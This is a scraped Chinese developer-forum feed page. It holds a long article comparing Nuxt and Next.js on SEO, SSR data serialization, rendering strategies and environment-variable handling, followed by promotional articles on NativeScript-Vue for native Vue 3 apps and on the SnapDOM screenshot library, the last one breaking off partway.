只有这样,你的代码才算真正安全了😒。


作者:ErpanOmer
来源:juejin.cn/post/7580616979473367046
收起阅读 »

到底选 Nuxt 还是 Next.js?SEO 真的有那么大差距吗 🫠🫠🫠

web
我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优...
继续阅读 »

我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优化和协作功能的实现等核心难点。



如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。


关于 NuxtNext.js 的 SEO 对比,技术社区充斥着太多误解。最常见的说法是 NuxtPayload JSON 化会严重影响 SEO,未压缩的数据格式会拖慢页面加载。还有人担心环境变量保护机制存在安全隐患。


实际情况远非如此。框架之间的 SEO 差异被严重夸大了。Nuxt 采用未压缩 JSON 是为了保证数据类型完整性和加速水合过程,这是深思熟虑的设计权衡。所谓的安全问题,本质上是第三方生态设计的挑战,而非框架缺陷。


真正影响搜索引擎排名的是内容质量、用户体验、页面性能和技术实践,而非框架选择。一个优化良好的 Nuxt 网站完全可能比未优化的 Next.js 网站排名更好。


一、服务端渲染机制对比


Next.js:压缩优先


Next.js 新版本使用压缩字符串格式序列化数据,旧版 Page Router 则用 JSON。数据以 <script> 标签形式嵌入 HTML,客户端接收后解压完成水合。


这种方案优势明显:HTML 文档体积小,传输快,初始加载速度优秀。App Router 还支持流式渲染和 Server Components,服务端可以逐步推送内容,不需要等待所有数据准备就绪。


权衡也很清楚:增加了客户端计算开销,复杂数据类型需要额外处理。


Nuxt:类型完整性优先


Nuxt 采用未压缩 JSON 格式,通过 window.__NUXT__ 对象嵌入数据。设计思路基于一个重要前提:现代浏览器的 JSON.parse() 性能极高,V8 引擎对 JSON 解析做了大量优化。相比自定义压缩算法,直接用 JSON 格式解析速度更快。


核心优势是水合速度极快,支持完整的 JavaScript 复杂类型。Nuxt 使用 devalue 序列化库,能够完整保留 MapSetDateRegExpBigInt 等类型,还能处理循环引用。这意味着从后端传递 Map 数据,前端反序列化后依然是 Map,而不会被转换为普通 Object


当然,包含大量数据时 HTML 体积会增大。不过对于大数据场景,Nuxt 已经支持 Lazy Hydration 来处理。


设计哲学差异


Next.js 优先考虑传输速度,适合前后端分离场景。Nuxt 优先保证类型完整性,更适合全栈 JavaScript 应用。由于前后端都用 JavaScript,保持数据类型一致性可以减少大量类型转换代码。


实际测试表明,大多数场景下这种方案不会拖慢首屏加载。一次传输加快速水合的策略,整体性能往往更优。


二、对 SEO 的实际影响


Payload JSON 化的真实影响


从 SEO 角度看,Nuxt 的方案有独特优势。爬虫可以直接从 HTML 获取完整内容,无需执行 JavaScript。即使 JS 加载或执行失败,页面核心内容依然完整存在于 HTML 中。这对 SEO 至关重要,因为搜索引擎爬虫虽然能执行 JavaScript,但更倾向于直接读取 HTML。


HTML 体积增大的影响被严重高估了。实际测试数据显示,即使 HTML 增大 50-100KB,对 TTFB 的影响也在 50-100ms 以内,用户几乎感知不到。而水合速度提升可能节省 100-200ms 的交互响应时间,整体用户体验反而更好。


Next.js 的性能优势


Next.js 采用压缩格式后,HTML 体积更小,服务器响应更快。实际数据显示平均 LCP 为 1.2 秒,INP 为 65ms,这些指标确实优秀。


Next.js 13+Server Components 进一步优化了数据传输。服务端组件的数据不需要序列化传输到客户端,直接在服务端渲染成 HTML,大大减少了传输量。对于主要展示内容的页面,这种方式可以实现接近静态页面的性能。


ISR 功能也很实用。页面可以在构建时生成静态 HTML,然后在后台按需更新,既保证了首屏速度,又能及时更新内容。


核心结论


框架对 SEO 的影响被严重夸大了。Google 的 Evergreen Googlebot 在 2019 年就已经能够完整执行现代 JavaScript。无论 Nuxt 还是 Next.js,只要正确实现了 SSR,搜索引擎都能获取完整内容。


框架选择对排名的影响可能不到 1%。真正影响 SEO 的是内容质量、页面语义化、结构化数据、内部链接结构、技术实践(sitemaprobots.txt)和用户体验指标。


三、SEO 功能特性对比


元数据管理


Next.js 13+Metadata API 提供了类型安全的元数据配置,与 Server Components 深度集成,可以在服务端异步获取数据生成动态元数据:


// Next.js
export async function generateMetadata({ params }) {
const post = await fetchPost(params.id);
return {
title: post.title,
description: post.excerpt,
openGraph: { images: [post.coverImage] },
};
}

NuxtuseHead 提供响应式元数据管理,配合 @nuxtjs/seo 模块开箱即用。内置 Schema.org JSON-LD 生成器,可以更方便地实现结构化数据:


// Nuxt
const post = await useFetch(`/api/posts/${id}`);
useHead({
title: post.value.title,
meta: [{ name: "description", content: post.value.excerpt }],
});

useSchemaOrg([
defineArticle({
headline: post.title,
datePublished: post.publishedAt,
author: { name: post.author.name },
}),
]);

Next.js 同样可以实现结构化数据,但需要手动插入 <script type="application/ld+json"> 标签。虽然需要额外工作,但提供了更大的灵活性。


语义化 HTML 与无障碍性


Nuxt 提供自动 aria-label 注入功能,@nuxtjs/a11y 模块可以在开发阶段自动检测无障碍性问题。Next.js 需要开发者手动确保,可以使用 eslint-plugin-jsx-a11y 检测问题。


语义化 HTML 对 SEO 的重要性常被低估。搜索引擎不仅读取内容,还会分析页面结构。正确使用 <article><section><nav> 等标签,可以帮助搜索引擎更好地理解内容层次。


静态生成与预渲染


Next.jsISR 允许为每个页面设置不同的重新验证时间。首页可能每 60 秒重新生成,文章页面可能每天重新生成。这种精细化控制使得网站能在性能和内容新鲜度之间找到平衡:


// Next.js ISR
export const revalidate = 3600; // 每小时更新

Nuxt 3 支持混合渲染模式,可以在同一应用中同时使用 SSR、SSG 和 CSR,为不同页面选择最适合的渲染策略:


// Nuxt 混合渲染
export default defineNuxtConfig({
routeRules: {
"/": { prerender: true },
"/posts/**": { swr: 3600 },
"/admin/**": { ssr: false },
},
});

Next.js 14Partial Prerendering 更进一步,允许在同一页面混合静态和动态内容。静态部分在构建时生成,动态部分在请求时渲染,结合了 SSG 的速度和 SSR 的灵活性。


四、性能指标与爬虫友好性


Core Web Vitals 表现


从各项指标看,Next.js 平均 LCP 为 1.2 秒,表现优秀。Nuxt 的 LCP 可能受 HTML 体积影响,但在 FCP 和 INP 方面得益于快速水合机制,同样表现出色。


需要强调的是,这些差异在实际 SEO 排名中影响极其有限。Google 在 2021 年将 Core Web Vitals 纳入排名因素,但权重相对较低。内容相关性、反向链接质量、域名权威度等传统因素权重仍然更高。


更重要的是,Core Web Vitals 分数取决于真实用户体验数据,而非实验室测试。网络环境、设备性能、缓存状态等因素对性能的影响远大于框架本身。一个优化良好的 Nuxt 网站完全可能比未优化的 Next.js 网站获得更好的分数。


两个框架都提供了丰富的优化工具。Next.jsnext/image 提供自动图片优化、懒加载、响应式图片。Nuxt@nuxt/image 提供类似功能,并支持多种图片托管服务。图片优化对 LCP 的影响往往比框架选择更大。


爬虫友好性


两个框架在爬虫友好性方面几乎没有差别。都提供完整的服务端渲染内容,无需 JavaScript 即可获取页面信息,能正确返回 HTTP 状态码,支持合理的 URL 结构。


Nuxt 的额外优势在于内置 Schema.org JSON-LD 生成器,有助于搜索引擎生成富文本摘要。结构化数据对现代 SEO 至关重要,通过嵌入 JSON-LD 格式的数据,可以告诉搜索引擎页面内容的具体含义。这些信息会显示在搜索结果中,提高点击率。


两个框架在处理动态路由、国际化、重定向等 SEO 关键功能上都提供了完善支持。


五、安全性问题澄清


环境变量保护机制


关于 Nuxt 会将 NUXT_PUBLIC 环境变量暴露到 HTML 的问题,需要明确这并非框架缺陷。Nuxt 的机制是只有显式设置为 NUXT_PUBLIC_ 前缀的变量才会暴露到前端,非 public 变量不会出现在 HTML 中。


正常情况下,开发者不应该将重要信息设置为 public。任何重要信息都不应该放到前端,这是前端开发的基本原则,与框架无关。


Nuxt 3 的环境变量系统被彻底重新设计。运行时配置分为公开和私有两部分:


// Nuxt 配置
export default defineNuxtConfig({
runtimeConfig: {
// 私有配置,仅服务端可用
apiSecret: process.env.API_SECRET,

// 公开配置,会暴露到客户端
public: {
apiBase: process.env.API_BASE_URL,
},
},
});

Next.js 使用类似机制,以 NEXT_PUBLIC_ 前缀的变量会暴露到客户端:


// 服务端组件中
const apiSecret = process.env.API_SECRET; // 可用

// 客户端组件中
const apiBase = process.env.NEXT_PUBLIC_API_BASE; // 可用
const apiSecret = process.env.API_SECRET; // undefined

实际开发中的安全挑战


真正的问题在于某些第三方库要求在前端初始化时传入密钥。一些 BaaS 服务(如 SupabaseFirebase)的前端 SDK 设计就需要在前端初始化,开发者无法控制这些第三方生态的设计。


Supabase 为例,它提供 anon key(匿名密钥)和 service role key(服务角色密钥)。anon key 设计为可以在前端使用,通过行级安全策略在数据库层面控制权限。service role key 则绕过所有安全策略,只能在服务端使用。


理想解决方案是将依赖密钥的库放到服务端,通过 API 调用使用。如果某个库需要在前端运行明文密钥,这个库本身就存在重大安全风险。但现实往往更复杂,生态适配问题难以完全避免。


值得注意的是,Next.js 同样存在类似的安全考量。两个框架在环境变量保护方面的机制基本一致,问题根源在于第三方生态设计,而非框架缺陷。


对 SEO 的影响


环境变量问题本质上是安全问题,而非 SEO 问题。只要正确配置,不会影响搜索引擎爬取。


真正影响 SEO 的安全问题是:网站被攻击后注入垃圾链接、恶意重定向、隐藏内容等。这些行为会直接导致网站被搜索引擎惩罚,甚至从索引中移除。防止这类问题需要全方位的安全措施,远超框架本身的范畴。


六、实际应用场景


内容密集型网站


对于博客、新闻网站、文档站点,Nuxt 往往表现更好。内容块水合速度快,开箱即用的 SEO 功能完善,开发体验好。


Nuxt@nuxt/content 模块提供了基于 Markdown 的内容管理系统,支持全文搜索、代码高亮、自动目录生成。配合 @nuxtjs/seo 模块,可以快速构建 SEO 友好的内容网站:


// Nuxt Content 使用
const { data: post } = await useAsyncData("post", () =>
queryContent("/posts").where({ slug: route.params.slug }).findOne()
);

技术博客、文档网站特别适合这种方案。VuePressVitePress 等静态站点生成器也是基于类似思路构建的。


动态应用


对于电商平台、SaaS 应用等需要高级渲染技术和复杂交互的场景,Next.js 可能更合适。ISR 和部分预渲染能够更好地应对动态内容需求。


电商网站的 SEO 挑战在于商品数量庞大、内容动态变化、需要个性化推荐。Next.jsISR 可以为每个商品页面设置合适的重新验证时间,既保证 SEO 友好,又能及时更新库存、价格:


// Next.js 电商页面优化
export default async function ProductPage({ params }) {
const product = await fetchProduct(params.id);

return (
<>
<ProductInfo product={product} />
<Suspense fallback={<Skeleton />}>
<AddToCartButton productId={params.id} />
</Suspense>
</>

);
}

export const revalidate = 1800; // 30分钟重新验证

混合场景


对于兼具内容和应用特性的混合场景,两个框架都能很好胜任。许多现代网站都是混合型的:既有内容页面(博客、文档),又有应用功能(用户中心、后台管理)。


关键是为不同类型页面选择合适的渲染策略。Nuxt 3routeRules 提供路由级别的渲染控制:


// Nuxt 混合渲染场景
export default defineNuxtConfig({
routeRules: {
"/": { prerender: true }, // 首页预渲染
"/blog/**": { swr: 3600 }, // 博客缓存 1 小时
"/dashboard/**": { ssr: false }, // 用户中心客户端渲染
"/api/**": { cors: true }, // API 路由
},
});

Next.js 通过不同文件约定实现类似功能。可以在 app 目录中使用 Server Components 和 Client Components 组合,在 pages 目录中使用传统 SSR/SSG 方式。


七、开发者的真实痛点


超越 SEO 的实际考量


通过分析实际案例发现,开发者选择框架的真正原因往往不是 SEO。许多从 Nuxt 迁移到 Next.js 的团队,主要原因包括第三方生态兼容性问题(如 Supabase 等 BaaS 服务的前端依赖),以及开发体验(启动速度慢、构建时间长)。


客观来说,Nuxt 在开发服务器启动速度和构建时间方面确实存在优化空间。不过随着 RolldownOxc 等下一代工具链的完善,这些问题有望改善。这说明 SEO 和安全问题可能被过度强调了,真正影响开发者选择的是开发体验和生态适配。


开发服务器启动速度直接影响开发效率。如果每次重启都需要等待 30-60 秒,一天下来可能浪费几十分钟。构建时间同样重要,尤其在 CI/CD 环境中。构建时间过长会延迟部署,影响快速迭代能力。


生态兼容性是另一个重要因素。某些库只提供 React 版本,某些只提供 Vue 版本。虽然可以通过适配器跨框架使用,但会增加维护成本。


技术方案的权衡


没有完美的技术方案,只有最适合的选择。Nuxt 优先保证数据类型完整性和快速水合,Next.js 追求更小体积和更快 TTFB。


不同开发者有不同需求:内容型网站与应用型产品侧重点不同,小团队与大型商业项目考量各异。技术讨论中有句话很好地总结了这点:几乎所有框架都在解决同样的问题,差别只在于细微的实现方式。


对小团队来说,开发效率可能比性能优化更重要。快速实现功能、快速迭代,比追求极致性能指标更有价值。对大型团队来说,长期维护性和可扩展性更重要。


技术债务是另一个需要考虑的因素。随着项目发展,早期为了快速开发而做的权衡可能成为瓶颈。选择一个社区活跃、持续演进的框架很重要。Next.jsNuxt 都有强大的商业支持(Vercel 和 NuxtLabs),这保证了框架的长期发展。


八、综合评估与选择建议


SEO 能力评分


从 SEO 能力看,Next.js 可以获得 4.5 分(满分 5 分)。优势在于优秀的 Core Web Vitals 表现、更小的 HTML 体积、成熟的 SEO 生态,以及 ISR 和部分预渲染等先进特性。不足是需要手动配置结构化数据,语义化 HTML 需要开发者特别注意。


Nuxt 可以获得 4 分。优势包括内置 Schema.org JSON-LD 生成器、自动语义化 HTML 支持、在内容型网站的优秀表现,以及快速水合带来的良好体验。Payload JSON 导致 HTML 体积增大在实际应用中影响微小,已有 Lazy Hydration 等解决方案。开发服务器启动和构建速度慢是开发体验问题,与 SEO 无关。


需要说明的是,两者 SEO 能力实际上都接近满分,0.5 分的差异主要体现在开箱即用的便利性上,而非实际 SEO 效果。在真实搜索引擎排名中,这 0.5 分的差异几乎不会产生可察觉的影响。


选择 Next.js 的场景


如果项目对 Core Web Vitals 有极高要求,或者需要复杂渲染策略的动态应用,Next.js 是更好的选择。以下场景推荐使用:



  • 电商平台,需要 ISR 平衡性能和内容新鲜度

  • SaaS 应用,对交互性能要求极高

  • 国际化大型网站,需要精细性能优化

  • 团队已有 React 技术栈,迁移成本低

  • 需要使用大量 React 生态的第三方库

  • 对 Vercel 平台部署优化感兴趣

  • 需要 Server Components 的先进特性

  • 项目规模大,需要严格的 TypeScript 类型检查


选择 Nuxt 的场景


如果项目是内容密集型网站(博客、新闻、文档),或者需要快速开发并利用框架的 SEO 便利功能,Nuxt 是理想选择。以下场景推荐使用:



  • 技术博客、文档站点,内容是核心

  • 新闻、媒体网站,需要快速发布内容

  • 企业官网,强调 SEO 和内容展示

  • 团队已有 Vue 技术栈,迁移成本低

  • 需要使用 Vue 生态的 UI 库(如 Element Plus、Vuetify)

  • 快速原型开发,需要开箱即用的功能

  • 需要 @nuxt/content 的 Markdown 内容管理

  • 项目需要传递复杂的 JavaScript 对象(Map、Set、Date 等)


决策思路


对于需要优秀 SEO 表现、服务端渲染和良好开发体验的项目,两个框架都完全能够胜任。选择关键在于团队技术栈、第三方生态适配、开发体验等实际因素,而不应该仅仅基于 SEO 考虑。


在中小型项目、团队对两个框架都不熟悉、项目没有特殊渲染需求的情况下,两个框架都是合理选择。可以考虑以下因素决策:



  • 团队成员的个人偏好(React vs Vue)

  • 公司的技术战略和长期规划

  • 现有项目的技术栈,保持一致性

  • 招聘市场,React 开发者相对更多

  • 社区资源,React 生态整体更成熟

  • 学习曲线,Vue 的 API 相对更简单


九、核心结论


框架差异的真实影响


几乎所有现代框架都能很好地支持 SEO,差异只在于细微的实现方式。框架选择对 SEO 排名的影响远小于内容质量和技术实现。Payload JSON 化影响 SEO 的说法被夸大了,这是经过深思熟虑的设计权衡。对大多数应用来说,一次传输加快速水合的策略更优。


从搜索引擎角度看,只要页面能正确渲染、内容完整可见、HTML 结构合理、meta 标签正确,框架是什么并不重要。Google 的爬虫既可以处理传统静态 HTML,也可以执行复杂的 JavaScript 应用,还可以理解 SPA 的路由。


真正影响 SEO 的是:内容质量和原创性、页面加载速度(但 100-200ms 差异可以忽略)、移动端友好性、内部链接结构、外部反向链接、域名权威度、用户行为指标(点击率、停留时间、跳出率)、技术 SEO 实践(sitemaprobots.txt、结构化数据)。


框架选择在这些因素中的权重微乎其微。用 Nuxt 还是 Next.js,对实际排名的影响可能不到 1%。


性能指标的误区


Next.js 在 HTML 体积、TTFB 和 Core Web Vitals 平均值方面具有优势。Nuxt 则在数据类型支持、水合速度和网络传输效率方面表现出色。但这些差异在实际 SEO 排名中影响微乎其微。


常见的性能误区包括:过度关注实验室测试数据,忽略真实用户体验;追求极致分数,忽略边际收益递减;认为性能优化就是 SEO 优化;忽略其他更重要的 SEO 因素;在框架选择上纠结,而不是优化现有代码。


实际上,同一框架下,优化和未优化的网站性能差异可能是 10 倍,而不同框架之间的性能差异可能只有 10-20%。把精力放在代码优化、资源优化、CDN 配置等方面,往往比纠结框架选择更有价值。


决策因素梳理


技术因素方面,应该考虑团队技术栈(React vs Vue)、第三方生态适配、开发体验(启动速度、构建速度)。业务因素方面,需要评估项目类型(内容型 vs 应用型)、团队规模和能力、时间和预算。不应该主要基于 SEO 来选择框架,因为两者在 SEO 方面能力基本相当。


决策优先级建议:


第一优先级:团队技术栈和能力。团队熟悉什么就用什么,学习成本和招聘成本很高。


第二优先级:项目类型和需求。内容型倾向 Nuxt,应用型倾向 Next.js,混合型都可以。


第三优先级:生态和工具链。需要的第三方库是否支持,部署平台的支持情况,开发工具的成熟度。


第四优先级:性能和 SEO。只在前三者相同时考虑,实际影响很小。


十、实践建议


SEO 优化核心原则


内容质量永远是第一位的。框架只是工具,内容才是核心,技术优化是锦上添花而非雪中送炭。正确实现 SSR 比框架选择更重要。


SEO 最佳实践清单:确保所有重要内容在 HTML 中可见、为每个页面设置唯一的 titledescription、使用语义化 HTML 标签、正确使用标题层级、为图片添加 alt 属性、实现结构化数据、生成 sitemap.xml 并提交、配置合理的 robots.txt、使用 HTTPS、优化页面加载速度、确保移动端友好、构建合理的内部链接结构、定期发布高质量原创内容、获取高质量的外部链接、监控和分析 SEO 数据。


Nuxt 优化建议


充分利用框架优势,包括数据类型完整性的便利。对于大数据量场景,使用 Lazy Hydration 功能。不要因为 payload 问题过度担心,实际影响很小。


性能优化技巧:使用 nuxt generate 生成静态页面、配置 routeRules 为不同页面选择合适渲染策略、使用 @nuxt/image 优化图片加载、使用 lazy 属性延迟加载不关键组件、优化 payload 大小避免传递不必要数据、使用 useState 管理 SSR 和 CSR 之间共享的状态、配置合理的缓存策略、监控 payload 大小必要时拆分数据。


// Nuxt 性能优化配置
export default defineNuxtConfig({
experimental: {
payloadExtraction: true,
inlineSSRStyles: false,
},
routeRules: {
"/": { prerender: true },
"/blog/**": { swr: 3600 },
},
image: {
domains: ["cdn.example.com"],
},
});

Next.js 优化建议


充分利用性能优势,包括 ISR 和部分预渲染,优化 Core Web Vitals 指标。在处理复杂数据类型时,MapSet 等需要额外处理,要确保序列化和反序列化的正确性。


性能优化技巧:使用 ISR 为动态内容设置合理重新验证时间、尽可能使用 Server Components 减少客户端 JavaScript、使用 next/image 自动优化图片、使用 next/font 优化字体加载、配置 experimental.ppr 启用部分预渲染、使用 Suspenseloading.js 改善感知性能、代码分割按需加载、优化第三方脚本加载、使用 @next/bundle-analyzer 分析包大小、配置合理的缓存策略。


// Next.js 性能优化配置
const nextConfig = {
experimental: {
ppr: true,
optimizeCss: true,
optimizePackageImports: ["lodash", "date-fns"],
},
images: {
domains: ["cdn.example.com"],
formats: ["image/avif", "image/webp"],
},
};

框架无关的通用优化


无论选择哪个框架,以下优化都是必要的:使用 CDN 加速静态资源、启用 Gzip 或 Brotli 压缩、配置合理的缓存策略、优化首屏渲染延迟加载非关键资源、减少 HTTP 请求数量、使用 HTTP/2 或 HTTP/3、优化数据库查询、使用 Redis 等缓存层、监控真实用户性能数据、定期进行性能审计。


决策流程


如果主要关心 SEO,两个框架都完全够用,选择团队熟悉的即可,把精力放在内容质量和技术实现上。如果项目需要复杂数据结构,Nuxtdevalue 机制会让开发更便捷。如果追求极致性能指标,Next.js 的压缩方案可能略好一点,但差异在实际 SEO 排名中几乎可以忽略。如果被第三方生态绑定,这可能是最重要的决策因素。


决策流程建议:评估团队现有技术栈(如果已有 React/Vue 项目保持一致)、分析项目需求(内容型倾向 Nuxt、应用型倾向 Next.js)、检查第三方依赖(列出必需的库、确认是否有对应生态版本)、考虑部署环境(Vercel 对 Next.js 有特殊优化、Netlify 和 Cloudflare Pages 两者都支持)、评估长期维护成本(框架更新频率和稳定性、社区支持和文档质量)。


结语


通过深入分析技术原理和实际应用案例,可以得出一个明确的结论:框架之间的差异是细微的,对 SEO 的影响更是微乎其微。


选择你熟悉的、团队能驾驭的、生态适合的框架,然后专注于创造优质内容和良好的用户体验。这才是 SEO 成功的根本。技术框架只是实现目标的工具,真正决定网站排名和用户满意度的,始终是内容的质量和服务的价值。


理解技术决策的权衡,认清 SEO 的本质,基于实际需求选择,避免过度优化,把精力放在真正重要的地方。这些才是从技术讨论中应该获得的核心启示。


SEO 是一个系统工程,涉及技术、内容、营销等多个方面。框架选择只是技术层面的一个小环节。即使选择了最适合 SEO 的框架,如果内容质量不佳、用户体验糟糕、营销策略失败,网站依然无法获得好的排名。


相反,即使使用了理论上性能稍差的框架,但如果能够持续输出高质量内容、构建良好的用户体验、实施正确的 SEO 策略,网站依然可以获得优秀的搜索排名。这才是 SEO 的真谛。


最后,技术在不断演进。Next.jsNuxt 都在快速迭代,引入新的特性和优化。今天的分析可能在明天就过时了。保持学习、关注技术动态、根据实际情况调整策略,这才是长久之计。


参考资料



  1. Nuxt SEO 官方文档:nuxtseo.com

  2. Next.js SEO 最佳实践:nextjs.org/docs/app/bu…

  3. Devalue 序列化库:github.com/Rich-Harris…

  4. Google 搜索中心文档:developers.google.com/search

  5. Core Web Vitals 指标说明:web.dev/vitals/

  6. Schema.org 结构化数据规范:schema.org/

  7. Nuxt 官方文档:nuxt.com/docs

  8. Next.js 官方文档:nextjs.org/docs

  9. Nitro 服务引擎:nitro.unjs.io/

  10. Web.dev 性能优化指南:web.dev/performance…


作者:Moment
来源:juejin.cn/post/7586505172816150579
收起阅读 »

弃用 uni-app!Vue3 的原生 App 开发框架来了!

web
长久以来,"用 Vue 3 写真正的原生 App" 一直是块短板。 uni-app 虽然"一套代码多端运行",但性能瓶颈、厂商锁仓、原生能力羸弱的问题常被开发者诟病。 整个 Vue 生态始终缺少一个能与 React Native 并肩的"真·原生"跨平台方案 ...
继续阅读 »

长久以来,"用 Vue 3 写真正的原生 App" 一直是块短板。


uni-app 虽然"一套代码多端运行",但性能瓶颈厂商锁仓原生能力羸弱的问题常被开发者诟病。


整个 Vue 生态始终缺少一个能与 React Native 并肩的"真·原生"跨平台方案


直到 NativeScript-Vue 3 的横空出世,并被 尤雨溪 亲自点赞。



为什么是时候说 goodbye 了?


uni-app 现状开发者痛点
渲染层基于 WebView 或弱原生混合启动慢、掉帧、长列表卡顿
自定义原生 SDK 需写大量 renderjs / plus 桥接维护成本高,升级易断裂
锁定 DCloud 生态工程化、VitePinia 等新工具跟进慢
Vue 3 支持姗姗来迟,Composition API 兼容碎裂类型推断、生态插件处处踩坑

"我们只是想要一个 Vue 语法 + 真原生渲染 + 社区插件开箱即用 的解决方案。"

—— 这,正是 NativeScript-Vue 给出的答案。


尤雨溪推特背书


2025-10-08Evan You 转发 NativeScript 官方推文:



"Try Vite + NativeScript-Vue today — HMR, native APIs, live reload."




配图是一段 <script setup> + TypeScript 的实战 Demo,意味着:



  • 真正的 Vue 3 语法Composition API

  • Vite 秒级热重载

  • 直接调用 iOS / Android 原生 API


获创始人的公开推荐,无疑给社区打了一剂强心针。


NativeScript-Vue 是什么?


一句话:Vue 的自定义渲染器 + NativeScript 原生引擎




  • 运行时 没有 WebView,JS 在 V8 / JavaScriptCore 中执行

  • <template> 标签 → 原生 UILabel / android.widget.TextView

  • 支持 NPM、CocoaPods、Maven/Gradle 全部原生依赖

  • React Native 同级别的性能,却拥有 Vue 完整开发体验


5 分钟极速上手


1. 环境配置(一次过)


# Node ≥ 18
npm i -g nativescript
ns doctor # 按提示安装 JDK / Android Studio / Xcode
# 全部绿灯即可

2. 创建项目


ns create myApp \
--template @nativescript-vue/template-blank-vue3@latest
cd myApp


模板已集成 Vite + Vue3 + TS + ESLint



3. 运行 & 调试


# 真机 / 模拟器随你选
ns run ios
ns run android

保存文件 → 毫秒级 HMRconsole.log 直接输出到终端。


4. 目录速览


myApp/
├─ app/
│ ├─ components/ // 单文件 .vue
│ ├─ app.ts // createApp()
│ └─ stores/ // Pinia 状态库
├─ App_Resources/
└─ vite.config.ts // 已配置 nativescript-vue-vite-plugin

5. 打包上线


ns build android --release   # 生成 .aab / .apk
ns build ios --release # 生成 .ipa

签名渠道自动版本号——标准原生流程,CI 友好。


Vue 3 生态插件兼容性一览


插件是否可用说明
Pinia零改动,app.use(createPinia())
VueUse⚠️无 DOM 的 Utilities 可用
vue-i18n 9.x实测正常
Vue Router官方推荐用 NativeScript 帧导航$navigateTo(Page)
Vuetify / Element Plus依赖 CSS & DOM,无法渲染

检测小技巧:


npm i xxx
grep -r "document\|window\|HTMLElement" node_modules/xxx || echo "大概率安全"

调试神器:Vue DevTools 支持


NativeScript-Vue 3 已提供 官方 DevTools 插件



  • 组件树PropsEventsPinia 状态 实时查看

  • 沿用桌面端调试习惯,无需额外学习成本


👉 配置指南:https://nativescript-vue.org/docs/essentials/vue-devtools


插件生态 & 原生能力



  • 700+ NativeScript 官方插件

    ns plugin add @nativescript/camera | bluetooth | sqlite...

  • iOS/Android SDK 直接引入

    CocoaPods / Maven 一行配置即可:


 // 调用原生 CoreBluetooth
import { CBCentralManager } from '@nativescript/core'


  • 自定义 View & 动画

    注册即可在 <template> 使用,与 React Native 造组件体验一致


结语:这一次,Vue 开发者不再低人一等


React NativeFacebook 撑腰,FlutterGoogle 背书,


现在 Vue 3 也有了自己的 真·原生跨平台答案 —— NativeScript-Vue


它让 Vue 语法第一次 完整、无损、高性能 地跑在 iOS & Android 上,

并获得 尤雨溪 公开点赞与 Vite 官方生态加持。


弃用 uni-app,拥抱 NativeScript-Vue

性能、原生能力、工程化 三者兼得,

用你最爱的 .vue 文件,写最硬核的移动应用!


🔖 一键直达资源



作者:前端开发爱好者
来源:juejin.cn/post/7560510073950011435
收起阅读 »

弃用 html2canvas!快 93 倍的截图神器

web
在前端开发中,网页截图是个常用功能。从前,html2canvas 是大家的常客,但随着网页越来越复杂,它的性能问题也逐渐暴露,速度慢、占资源,用户体验不尽如人意。 好在,现在有了 SnapDOM,一款性能超棒、还原度超高的截图新秀,能完美替代 html2can...
继续阅读 »

在前端开发中,网页截图是个常用功能。从前,html2canvas 是大家的常客,但随着网页越来越复杂,它的性能问题也逐渐暴露,速度慢占资源,用户体验不尽如人意。


好在,现在有了 SnapDOM,一款性能超棒还原度超高的截图新秀,能完美替代 html2canvas,让截图不再是麻烦事。



什么是 SnapDOM


SnapDOM 就是一个专门用来给网页元素截图的工具。



它能把 HTML 元素快速又准确地存成各种图片格式,像 SVGPNGJPGWebP 等等,还支持导出为 Canvas 元素。



它最厉害的地方在于,能把网页上的各种复杂元素,比如 CSS 样式、伪元素Shadow DOM内嵌字体背景图片,甚至是动态效果的当前状态,都原原本本地截下来,跟直接看网页没啥两样。


SnapDOM 优势


快得飞起


测试数据显示,在不同场景下,SnapDOM 都把 html2canvasdom-to-image 这俩老前辈远远甩在身后。



尤其在超大元素(4000×2000)截图时,速度是 html2canvas93.31 倍,比 dom-to-image 快了 133.12 倍。这速度,简直就像坐火箭。


还原度超高


SnapDOM 截图出来的效果,跟在网页上看到的一模一样。


各种复杂的 CSS 样式、伪元素Shadow DOM内嵌字体背景图片,还有动态效果的当前状态,都能精准还原。



无论是简单的元素,还是复杂的网页布局,它都能轻松拿捏。


格式任你选


不管你是想要矢量图 SVG,还是常用的 PNGJPG,或者现代化的 WebP,又或者是需要进一步处理的 Canvas 元素,SnapDOM 都能满足你。



多种格式,任你挑选,适配各种需求。


三、怎么用 SnapDOM


安装


SnapDOM 的安装超简单,有好几种方式:


NPMYarn:在命令行里输


# npm
npm i @zumer/snapdom

# yarn
yarn add @zumer/snapdom

就能装好。


CDNHTML 文件里加一行:


<script src="https://unpkg.com/@zumer/snapdom@latest/dist/snapdom.min.js"></script>

直接就能用。


要是项目里用的是 ES Module:


import { snapdom } from '@zumer/snapdom

基础用法示例


一键截图


const card = document.querySelector('.user-card');
const image = await snapdom.toPng(card);
document.body.appendChild(image);

这段代码就是找个元素,然后直接截成 PNG 图片,再把图片加到页面上。简单粗暴,一步到位。


高级配置


const element = document.querySelector('.chart-container');
const capture await snapdom(element, {
    scale2,
    backgroundColor'#fff',
    embedFontstrue,
    compresstrue
});
const png = await capture.toPng();
const jpg = await capture.toJpg({ quality0.9 });
await capture.download({
    format'png',
    filename'chart-report-2024'
});

这儿可以对截图进行各种配置。比如 scale 能调整清晰度,backgroundColor 能设置背景色,embedFonts 可以内嵌字体,compress 能压缩优化。配置好后,还能把截图存成不同格式,或者直接下载到本地。


和其他库比咋样


html2canvasdom-to-image 比起来,SnapDOM 的优势很明显:


特性SnapDOMhtml2canvasdom-to-image
性能⭐⭐⭐⭐⭐⭐⭐
准确度⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
文件大小极小较大中等
依赖
SVG 支持
Shadow DOM 支持
维护状态活跃活跃停滞

五、用的时候注意点


SnapDOM 时,有几点得注意:


跨域资源


要是截图里有外部图片等跨域资源,得确保这些资源支持 CORS,不然截不出来。


iframe 限制


SnapDOM 不能截 iframe 内容,这是浏览器的安全限制,没办法。


Safari 浏览器兼容性


